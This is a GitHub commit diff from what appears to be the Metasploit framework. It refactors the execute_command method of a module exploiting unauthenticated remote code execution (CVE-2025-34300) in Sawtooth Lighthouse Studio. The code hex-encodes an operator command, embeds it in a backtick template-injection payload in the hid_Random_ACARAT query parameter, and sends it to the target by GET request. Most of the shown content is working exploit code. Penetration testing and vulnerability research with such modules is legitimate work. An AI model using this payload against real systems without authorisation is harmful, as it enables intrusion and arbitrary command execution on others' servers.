Skip to content

Commit e90396a

Browse files
committed
Execute Method Refactoring
1 parent c06a7c4 commit e90396a

File tree

1 file changed

+10
-10
lines changed

1 file changed

+10
-10
lines changed

modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -134,27 +134,27 @@ def check
134134

135135
def execute_command(cmd, _opts = {})
136136
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
137+
137138
query = [
138139
'hid_javascript=1',
139140
"hid_Random_ACARAT=[%`#{cmd}`%]",
140141
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
141-
].join('&')
142+
]
142143

143-
if datastore['STUDYNAME']
144-
query << "&hid_studyname=#{datastore['STUDYNAME']}"
145-
end
144+
query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].to_s.strip.empty?
145+
query_string = query.join('&')
146146

147147
res = send_request_cgi({
148148
'uri' => normalize_uri(target_uri.path),
149149
'method' => 'GET',
150-
'query' => query
150+
'query' => query_string
151151
})
152152

153-
if res
154-
html = res.get_html_document
155-
if html && html.text.include?('Sawtooth Error # 129')
156-
return fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid')
157-
end
153+
fail_with(Failure::Unreachable, 'No response from target') unless res
154+
155+
html = res.get_html_document
156+
if html&.text&.include?('Sawtooth Error # 129')
157+
fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid')
158158
end
159159
end
160160

0 commit comments

Comments
 (0)